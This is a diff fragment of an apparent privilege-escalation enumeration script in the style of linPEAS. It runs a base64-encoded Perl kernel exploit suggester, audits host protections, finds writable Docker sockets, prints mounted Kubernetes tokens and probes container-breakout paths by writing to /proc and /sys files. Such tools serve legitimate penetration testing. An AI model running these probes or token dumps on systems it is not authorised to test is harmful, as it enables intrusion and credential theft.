iBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsIAoJCQknMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAKICAgICAgICAgICAgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsICcyLjYuMzcnLCAnMi42LjM4JywgCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgIAogICAgICAgICAgICAnMy4wLjUnLCAgJzMuMC42JywgICczLjEuMCcsICAnMy4yLjAnLCAgJzMuMy4wJywgICczLjQuMCcsICAKICAgICAgICAgICAgJzMuNS4wJywgICczLjYuMCcsICAnMy43LjAnLCAgJzMuNy42JywgICczLjguMCcsICAnMy45LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtNTE5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQwNjE2JywKICAgIH0sCiAgICAnYWZfcGFja2V0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzQuNC4wJyBdLAogICAgICAgIGN2ZSA9PiAnMjAxNi04NjU1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDA4NzEnLAogICAgfSwKICAgICdwYWNrZXRfc2V0X3JpbmcnID0+IHsKICAgICAgICB2dWxuID0+IFsnNC44LjAnIF0sCiAgICAgICAgY3ZlID0+ICcyMDE3LTczMDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80MTk5NCcsCiAgICB9LAogICAgJ2Nsb25lX25ld3VzZXInID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuMy41JywgJzMuMy40JywgJzMuMy4yJywgJzMuMi4xMycsICczLjIuOScsICczLjIuMScsIAogICAgICAgICAgICAnMy4xLjgnLCAnMy4wLjUnLCAnMy4wLjQnLCAnMy4wLjInLCAnMy4wLjEnLCAnMy4yJywgJzMuMC4xJywgJzMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnTlxBJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMzgzOTAnLAogICAgfSwKICAgICdnZXRfcmVrdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnNC40LjAnLCAnNC44LjAnLCAnNC4xMC4wJywgJzQuMTMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxNy0xNjY5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQ1MDEwJywKICAgIH0sCiAgICAnZXhwbG9pdF94JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsCiAgICAgICAgICAgICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsCiAgICAgICAgICAgICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsICcyLjYuMzYnLCAnMi42LjM3JywgJzIuNi4zOCcsCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy43LjYnLCAgJzMuOC4wJywgICczLjkuMCcsCiAgICAgICAgICAgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xNC4wJywgJzMuMTUuMCcsCiAgICAgICAgICAgICczLjE2LjAnLCAnMy4xNy4wJywgJzMuMTguMCcsICczLjE5LjAnLCAnNC4wLjAnLCAgJzQuMS4wJywKICAgICAgICAgICAgJzQuMi4wJywgICc0LjMuMCcsICAnNC40LjAnLCAgJzQuNS4wJywgICc0LjYuMCcsICAnNC43LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTgtMTQ2NjUnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80NTY5NycsCiAgICB9LAogICk7Cn0KCl9fRU5EX18KPWhlYWQxIE5BTUUKCmxpbnV4X2V4cGxvaXRfc3VnZ2VzdGVyLTIucGwgLSBBIGxvY2FsIGV4cGxvaXQgc3VnZ2VzdGVyIGZvciBsaW51eAoKPWhlYWQxIERFU0NSSVBUSU9OCgpUaGlzIHBlcmwgc2NyaXB0IHdpbGwgZW51bWVyYXRlIHRoZSBwb3NzaWJsZSBleHBsb2l0cyBhdmFpbGFibGUgZm9yIGEgZ2l2ZW4ga2VybmVsIHZlcnNpb24KCj1oZWFkMSBVU0FHRQoKWy1oXSBIZWxwICh0aGlzIG1lc3NhZ2UpClsta10gS2VybmVsIG51bWJlciAoZWcuIDIuNi4yOCkKWy1kXSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudQoKWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KQp0byBzZWUgYWxsIGV4cGxvaXRzIGF2YWlsYWJsZS4KCj1oZWFkMSBBVVRIT1IKCkpvbmF0aGFuIERvbmFzIChjKSAyMDE5Cgo9Y3V0Cgo9aGVhZDEgTElDRU5TRQoKIExpbnV4IEV4cGxvaXQgU3VnZ2VzdGVyIDIKCiBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQogaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vuc2UsIG9yCiAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgoKIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCiAgICAgICAgCiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhbG9uZwogd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwKIDUxIEZyYW5rbGluIFN0cmVldCwgRmlmdGggRmxvb3IsIEJvc3RvbiwgTUEgMDIxMTAtMTMwMSBVU0EuCgo9Y3V0Cg=="
+ echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
+ echo ""
+fi
+
+if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
+ print_2title "Brew Doctor Suggestions"
+ brew doctor
+ echo ""
+fi
+
+
+
+#-- SY) AppArmor
+print_2title "Protections"
+print_list "AppArmor enabled? .............. "$NC
+if [ "$(command -v aa-status 2>/dev/null)" ]; then
+ aa-status 2>&1 | sed "s,disabled,${SED_RED},"
+elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
+ apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
+elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
+ ls -d /etc/apparmor*
+else
+ echo_not_found "AppArmor"
+fi
+
+#-- SY) AppArmor2
+print_list "AppArmor profile? .............. "$NC
+(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
+
+#-- SY) LinuxONE
+print_list "is linuxONE? ................... "$NC
+( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x")
+
+#-- SY) grsecurity
+print_list "grsecurity present? ............ "$NC
+( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
+
+#-- SY) PaX
+print_list "PaX bins present? .............. "$NC
+(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
+
+#-- SY) Execshield
+print_list "Execshield enabled? ............ "$NC
+(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
+
+#-- SY) SElinux
+print_list "SELinux enabled? ............... "$NC
+(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
+
+#-- SY) Seccomp
+print_list "Seccomp enabled? ............... "$NC
+([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
+
+#-- SY) AppArmor
+print_list "User namespace? ................ "$NC
+if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
+
+#-- SY) cgroup2
+print_list "Cgroup2 enabled? ............... "$NC
+([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
+
+#-- SY) Gatekeeper
+if [ "$MACPEAS" ]; then
+ print_list "Gatekeeper enabled? .......... "$NC
+ (spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
+
+ print_list "sleepimage encrypted? ........ "$NC
+ (sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
+
+ print_list "XProtect? .................... "$NC
+ (system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
+
+ print_list "SIP enabled? ................. "$NC
+ csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
+
+ print_list "Connected to JAMF? ........... "$NC
+ warn_exec jamf checkJSSConnection
+
+ print_list "Connected to AD? ............. "$NC
+ dsconfigad -show && echo "" || echo_no
+fi
+
+#-- SY) ASLR
+print_list "Is ASLR enabled? ............... "$NC
+ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
+if [ -z "$ASLR" ]; then
+ echo_not_found "/proc/sys/kernel/randomize_va_space";
+else
+ if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
+ echo ""
+fi
+
+#-- SY) Printer
+print_list "Printer? ....................... "$NC
+(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
+
+#-- SY) Running in a virtual environment
+print_list "Is this a virtual machine? ..... "$NC
+hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
+if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
+ detectedvirt=$(systemd-detect-virt)
+ if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
+else
+ if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q container; then
+print_title "Container"
+###########################################
+#---------) Container functions (---------#
+###########################################
+
+containerCheck() {
+ inContainer=""
+ containerType="$(echo_no)"
+
+ # Are we inside docker?
+ if [ -f "/.dockerenv" ] ||
+ grep "/docker/" /proc/1/cgroup -qa 2>/dev/null ||
+ grep -qai docker /proc/self/cgroup 2>/dev/null ||
+ [ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then
+
+ inContainer="1"
+ containerType="docker\n"
+ fi
+
+ # Are we inside kubernetes?
+ if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null ||
+ grep -qai kubepods /proc/self/cgroup 2>/dev/null; then
+
+ inContainer="1"
+ if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n"
+ else containerType="kubernetes\n"
+ fi
+ fi
+
+ # Inside concourse?
+ if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then
+ inContainer="1"
+ if [ "$containerType" ]; then
+ containerType="$containerType (concourse)\n"
+ fi
+ fi
+
+ # Are we inside LXC?
+ if env | grep "container=lxc" -qa 2>/dev/null ||
+ grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then
+
+ inContainer="1"
+ containerType="lxc\n"
+ fi
+
+ # Are we inside podman?
+ if env | grep -qa "container=podman" 2>/dev/null ||
+ grep -qa "container=podman" /proc/1/environ 2>/dev/null; then
+
+ inContainer="1"
+ containerType="podman\n"
+ fi
+
+ # Check for other container platforms that report themselves in PID 1 env
+ if [ -z "$inContainer" ]; then
+ if grep -a 'container=' /proc/1/environ 2>/dev/null; then
+ inContainer="1"
+ containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n"
+ fi
+ fi
+}
+
+inDockerGroup() {
+ DOCKER_GROUP="No"
+ if groups 2>/dev/null | grep -q '\bdocker\b'; then
+ DOCKER_GROUP="Yes"
+ fi
+}
+
+checkDockerRootless() {
+ DOCKER_ROOTLESS="No"
+ if docker info 2>/dev/null|grep -q rootless; then
+ DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)"
+ fi
+}
+
+enumerateDockerSockets() {
+ dockerVersion="$(echo_not_found)"
+ if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
+ SEARCHED_DOCKER_SOCKETS="1"
+ for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
+ if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
+ if echo "$int_sock" | grep -Eq "docker"; then
+ dock_sock="$int_sock"
+ echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g"
+ echo "Docker enummeration:"
+ docker_enumerated=""
+
+ if [ "$(command -v curl)" ]; then
+ sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)"
+ dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4)
+ echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
+ if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi
+ fi
+
+ if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then
+ sockInfoResponse="$(docker info)"
+ dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4)
+ printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
+ fi
+
+ else
+ echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g"
+ fi
+
+ else
+ echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g"
+ fi
+ done
+ fi
+}
+
+checkDockerVersionExploits() {
+ if echo "$dockerVersion" | grep -iq "not found"; then
+ VULN_CVE_2019_13139="$(echo_not_found)"
+ VULN_CVE_2019_5736="$(echo_not_found)"
+ return
+ fi
+
+ VULN_CVE_2019_13139="$(echo_no)"
+ if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then
+ VULN_CVE_2019_13139="Yes"
+ fi
+
+ VULN_CVE_2019_5736="$(echo_no)"
+ if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then
+ VULN_CVE_2019_5736="Yes"
+ fi
+}
+
+checkContainerExploits() {
+ VULN_CVE_2019_5021="$(echo_no)"
+ if [ -f "/etc/alpine-release" ]; then
+ alpineVersion=$(cat /etc/alpine-release)
+ if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then
+ VULN_CVE_2019_5021="Yes"
+ fi
+ fi
+}
+
+checkCreateReleaseAgent(){
+ cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
+ do
+ if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
+ release_agent_breakout2="Yes (unshare with $subsys)";
+ rm -rf /tmp/cgroup_3628d4
+ break
+ fi
+ done
+}
+
+checkProcSysBreakouts(){
+ dev_mounted="No"
+ if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
+ dev_mounted="Yes";
+ fi
+
+ proc_mounted="No"
+ if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
+ proc_mounted="Yes";
+ fi
+
+ run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
+ if ! [ "$run_unshare" = "Yes" ]; then
+ run_unshare="No"
+ fi
+
+ if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
+ release_agent_breakout1="Yes"
+ else
+ release_agent_breakout1="No"
+ fi
+
+ release_agent_breakout2="No"
+ mkdir /tmp/cgroup_3628d4
+ mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
+ if [ $? -eq 0 ]; then
+ release_agent_breakout2="Yes";
+ rm -rf /tmp/cgroup_3628d4
+ else
+ mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
+ if [ $? -eq 0 ]; then
+ release_agent_breakout2="Yes";
+ rm -rf /tmp/cgroup_3628d4
+ else
+ checkCreateReleaseAgent
+ fi
+ fi
+ rm -rf /tmp/cgroup_3628d4 2>/dev/null
+
+ core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
+ modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
+ panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
+ panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
+ binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
+ proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)"
+ sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)"
+ kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev
+ kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev
+ mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi
+ kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)"
+ vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)"
+ security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)"
+ efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)"
+ efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)"
+}
+
+
+##############################################
+#---------------) Containers (---------------#
+##############################################
+containerCheck
+
+print_2title "Container related tools present (if any):"
+command -v docker
+command -v lxc
+command -v rkt
+command -v kubectl
+command -v podman
+command -v runc
+
+if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
+ print_2title "Am I Containered?"
+ execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
+fi
+
+print_2title "Container details"
+print_list "Is this a container? ...........$NC $containerType"
+
+print_list "Any running containers? ........ "$NC
+# Get counts of running containers for each platform
+dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l)
+podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l)
+lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l)
+rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l)
+if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then
+ echo_no
+else
+ containerCounts=""
+ if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi
+ if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi
+ if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi
+ if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi
+ echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED},"
+
+ # List any running containers
+ if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi
+ if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi
+ if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi
+ if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi
+fi
+
+# If docker
+if echo "$containerType" | grep -qi "docker"; then
+ print_2title "Docker Container details"
+ inDockerGroup
+ print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
+ enumerateDockerSockets
+ print_list "Docker version .................$NC$dockerVersion"
+ checkDockerVersionExploits
+ print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ if [ "$inContainer" ]; then
+ checkDockerRootless
+ print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
+ echo ""
+ fi
+ if df -h | grep docker; then
+ print_2title "Docker Overlays"
+ df -h | grep docker
+ fi
+fi
+
+# If token secrets mounted
+if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
+ print_2title "Listing mounted tokens"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
+ ALREADY="IinItialVaaluE"
+ for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
+ TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
+ if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
+ ALREADY="$ALREADY|$TOKEN"
+ echo "Directory: $i"
+ echo "Namespace: $(cat $i)"
+ echo ""
+ echo $TOKEN
+ echo "================================================================================"
+ echo ""
+ fi
+ done
+fi
+
+if [ "$inContainer" ]; then
+ echo ""
+ print_2title "Container & breakout enumeration"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
+ print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
+ if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
+ print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
+ fi
+ print_list "Seccomp enabled? ............... "$NC
+ ([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
+
+ print_list "AppArmor profile? .............. "$NC
+ (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
+
+ print_list "User proc namespace? ........... "$NC
+ if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
+
+ checkContainerExploits
+ print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+
+ print_3title "Breakout via mounts"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
+
+ checkProcSysBreakouts
+ print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "Run unshare .................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
+ print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
+ print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
